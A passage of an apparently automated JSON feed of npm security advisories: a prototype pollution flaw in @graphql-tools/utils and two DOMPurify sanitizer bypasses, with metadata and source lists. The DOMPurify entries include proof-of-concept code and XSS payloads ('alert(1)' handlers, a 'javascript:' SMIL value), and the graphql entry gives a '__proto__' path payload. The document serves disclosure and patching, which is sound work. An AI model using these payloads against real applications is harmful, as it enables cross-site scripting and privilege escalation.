advisory.","publishedAt":"2026-10-22T16:29:28.000Z","updatedAt":"2026-10-22T16:29:29.000Z","regions":["Global"],"vendor":null,"product":"astro","stacks":["JavaScript packages (npm)","astro","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-mpr7-6m5w-76rw","asOf":"2026-10-22T16:29:29.000Z"},"epss":{"probability":0.00394,"percentile":0.33357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mpr7-6m5w-76rw","url":"https://github.com/advisories/GHSA-mpr7-6m5w-76rw","type":"primary","publishedAt":"2026-10-22T16:29:28.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-mpr7-6m5w-76rw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114604","cveId":"CVE-2026-114604","aliases":["GHSA-c4qx-w738-7hr3"],"kind":"vulnerability","title":"GraphQL Tools: Prototype pollution in mergeIncrementalResult via non-primitive path segments","summary":"| Field | Value |\n| --- | --- |\n| Package | `@graphql-tools/utils` (npm, `pkg:github/ardatan/graphql-tools`) |\n| Repository | https://github.com/ardatan/graphql-tools |\n| Component | `mergeIncrementalResult` / `setObjectKeyPath` (`packages/utils/src/mergeIncrementalResult.ts`) |\n| Vulnerability class | Prototype pollution (via unvalidated object path traversal) |\n| Verified against | Source read at `134d67ae36a559651f43ec7fe4a9da76f4a00c2b`; `master` HEAD `ccca0ff0dc8ea20726fd116b2f19a38709c30e62`; published npm builds 10.10.0, 10.10.1, 11.0.0, 12.0.0, 12.0.1 |\n| Affected versions | `@graphql-tools/utils` >= 10.10.1 through the scanned 12.0.0 source; introduced by `fbb58b51c4993ba9680ce6c2ef7203ab3a142713` (\"remove dset dependency\"). 12.0.1 also reproduces. 10.10.0 does not. |\n| API surface | Public, documented export (`packages/utils/src/index.ts:55`) |\n| Affected in default configuration | Yes — no options are involved; the forbidden-key check in `setObjectKeyPath` is the only defense and it is on by default |\n\n`mergeIncrementalResult` merges an incremental GraphQL response part into an accumulated execution result by walking `['data', ...incrementalResult.path]` and assigning at the resolved location. `setObjectKeyPath` tries to reject dangerous segments with strict string equality against `'__proto__'`, `'constructor'` and `'prototype'` (lines 50-52 and 60-62), but it never validates that a path segment is a primitive string or number. A JSON path segment such as `[\"__proto__\"]` is an array object, so `[\"__proto__\"] !== '__proto__'` and the guard passes; the very next statement does `current[key]`, whose `ToPropertyKey` coercion turns that array into the string key `\"__proto__\"` and resolves `Object.prototype`. The following, innocuous-looking segment is then assigned directly onto `Object.prototype`.","detail":"## Report metadata\n\n| Field | Value |\n| --- | --- |\n| Package | `@graphql-tools/utils` (npm, `pkg:github/ardatan/graphql-tools`) |\n| Repository | https://github.com/ardatan/graphql-tools |\n| Component | `mergeIncrementalResult` / `setObjectKeyPath` (`packages/utils/src/mergeIncrementalResult.ts`) |\n| Vulnerability class | Prototype pollution (via unvalidated object path traversal) |\n| Verified against | Source read at `134d67ae36a559651f43ec7fe4a9da76f4a00c2b`; `master` HEAD `ccca0ff0dc8ea20726fd116b2f19a38709c30e62`; published npm builds 10.10.0, 10.10.1, 11.0.0, 12.0.0, 12.0.1 |\n| Affected versions | `@graphql-tools/utils` >= 10.10.1 through the scanned 12.0.0 source; introduced by `fbb58b51c4993ba9680ce6c2ef7203ab3a142713` (\"remove dset dependency\"). 12.0.1 also reproduces. 10.10.0 does not. |\n| API surface | Public, documented export (`packages/utils/src/index.ts:55`) |\n| Affected in default configuration | Yes — no options are involved; the forbidden-key check in `setObjectKeyPath` is the only defense and it is on by default |\n\n## Summary\n\n`mergeIncrementalResult` merges an incremental GraphQL response part into an accumulated execution result by walking `['data', ...incrementalResult.path]` and assigning at the resolved location. `setObjectKeyPath` tries to reject dangerous segments with strict string equality against `'__proto__'`, `'constructor'` and `'prototype'` (lines 50-52 and 60-62), but it never validates that a path segment is a primitive string or number. A JSON path segment such as `[\"__proto__\"]` is an array object, so `[\"__proto__\"] !== '__proto__'` and the guard passes; the very next statement does `current[key]`, whose `ToPropertyKey` coercion turns that array into the string key `\"__proto__\"` and resolves `Object.prototype`. The following, innocuous-looking segment is then assigned directly onto `Object.prototype`.\n\nIn a consuming app, `incrementalResult` is the response part being merged — data parsed from an upstream `@defer`/`@stream` multipart or incremental-delivery response from another GraphQL server or transport. The `ExecutionResult` TypeScript annotation is not a runtime check, so a malicious, compromised, or MITM'd upstream can choose the `path` value and therefore choose global prototype keys and values in the gateway or client process.\n\nComparable paths through the same helper, for contrast:\n\n- Plain string segment `\"__proto__\"` -> blocked by strict equality, lines 50-52 (confirmed by a control case in testing)\n- Array segment `[\"__proto__\"]` -> **unsafe: passes the guard at lines 50-52, then coerced to the `__proto__` key at lines 53-57**\n- Same operation in 10.10.0 and earlier, which used `dset` -> not exploitable (0/5 attack payloads succeeded)\n\n## Impact\n\nA malicious incremental GraphQL response can add arbitrary properties with attacker-chosen values to `Object.prototype` in the consuming Node.js process. Because every plain object inherits from it, this can change authorization and configuration checks and the behavior of unrelated code elsewhere in the process — a networked PoC set `Object.prototype.isAdmin = true` and `Object.prototype.ownerEmail`, after which a consumer-style check `opts.isAdmin === true` on a freshly created `{}` returned `true`.\n\nThe delta over the safe behaviour: without this traversal flaw, a hostile upstream response can only influence the GraphQL data returned to the caller — a bounded, in-band effect. With `path: [[\"__proto__\"], \"isAdmin\"]`, the write lands on `Object.prototype`, escaping the response object entirely and affecting objects created later and code that never touches the response.\n\nScoring note: **this report deliberately carries no CVSS vector.** No score was produced for it, and exploitability depends on the consuming application's data flow — specifically whether it merges incremental results from an upstream it does not control, and how much it relies on inherited defaults. Consumers who are **not** affected: anything on `@graphql-tools/utils` 10.10.0 or earlier (the `dset`-based implementation blocked all tested payloads); processes that freeze `Object.prototype`; and consumers that runtime-validate incremental `path` segments to primitives before calling the helper. Note also that `graphql-tools`' own production code does not call `mergeIncrementalResult` directly — it is exported for consumers assembling incremental transport results.\n\n## Preconditions\n\n1. The consumer calls the public `mergeIncrementalResult` helper on incremental payloads received from another GraphQL server or other untrusted transport. No special options are needed.\n2. The incremental payload is not runtime-validated to contain only primitive string/number `path` segments before the call. This is the default: `packages/utils/src/index.ts:55` exports the helper directly, with no runtime validation and no documented warning, and the behaviour is not documented as a caller responsibility.\n3. The attacker can return a malformed incremental `path` value — i.e. controls, has compromised, or can MITM the upstream subgraph/transport.\n4. The process has not frozen `Object.prototype`.\n\nThis requires **no** non-standard usage, monkey-patching, or unusual configuration: the documented happy path of the exported helper is affected. The only defense present in the code is the strict-equality forbidden-key check added at lines 50 and 60, which itself shows the author treats these path segments as untrusted input. No documentation warning about the trust requirement was found (documentation review is limited to the exported symbol at `packages/utils/src/index.ts:55`; a broader docs audit is **not verified**).\n\n## Data flow\n\n1. **Source** — the attacker-controlled `incrementalResult.path`, taken from the object passed to the public merge helper, is spread into the key path: `const path = ['data', ...(incrementalResult.path ?? [])];` ([`packages/utils/src/mergeIncrementalResult.ts:12`](https://github.com/ardatan/graphql-tools/blob/134d67ae36a559651\n\nAffected package ranges reported by GitHub:\n@graphql-tools/utils: >= 10.10.1, <= 12.0.1","action":"GitHub lists first patched versions: @graphql-tools/utils: 12.0.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:28:31.000Z","updatedAt":"2026-10-22T16:28:32.000Z","regions":["Global"],"vendor":null,"product":"@graphql-tools/utils","stacks":["JavaScript packages (npm)","@graphql-tools/utils","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-c4qx-w738-7hr3","asOf":"2026-10-22T16:28:32.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c4qx-w738-7hr3","url":"https://github.com/advisories/GHSA-c4qx-w738-7hr3","type":"primary","publishedAt":"2026-10-22T16:28:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c4qx-w738-7hr3, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-mrv2-3pqr-j5jr","cveId":null,"aliases":[],"kind":"vulnerability","title":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","summary":"The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an ` ` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an ` ` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.","detail":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an ` ` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an ` ` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM(' ').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = ' ' +\n ' ok\n\n'\n const root = doc.getElementById('root')\n const evil = doc.getElementById('evil')\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n if (node.getAttribute && node.getAttribute('class') === 'bad') {\n if (mode === 'self') node.remove()\n if (mode === 'parent') node.parentNode.remove()\n if (mode === 'nextSibling') node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out= ok\n\nparent out= ok\n\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole ` ` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)\n\nAffected package ranges reported by GitHub:\ndompurify: <= 3.4.16","action":"GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:24:52.000Z","updatedAt":"2026-10-22T16:24:53.000Z","regions":["Global"],"vendor":null,"product":"dompurify","stacks":["JavaScript packages (npm)","dompurify","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr","asOf":"2026-10-22T16:24:53.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mrv2-3pqr-j5jr","url":"https://github.com/advisories/GHSA-mrv2-3pqr-j5jr","type":"primary","publishedAt":"2026-10-22T16:24:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-mrv2-3pqr-j5jr, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-c6gr-qvv4-5v3f","cveId":null,"aliases":[],"kind":"vulnerability","title":"DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml","summary":"DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed ` ` or ` ` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep ` `. Clicking the parent link then runs the script.","detail":"### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed ` ` or ` ` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep ` `. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" && stringMatch(value, \"href\")) {\n _removeAttribute(name, currentNode, attr);\n continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent ` `.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.\n\nInput:\n\n```html\n click \n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n poc \n\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById('q').href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n poc.sh \n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a 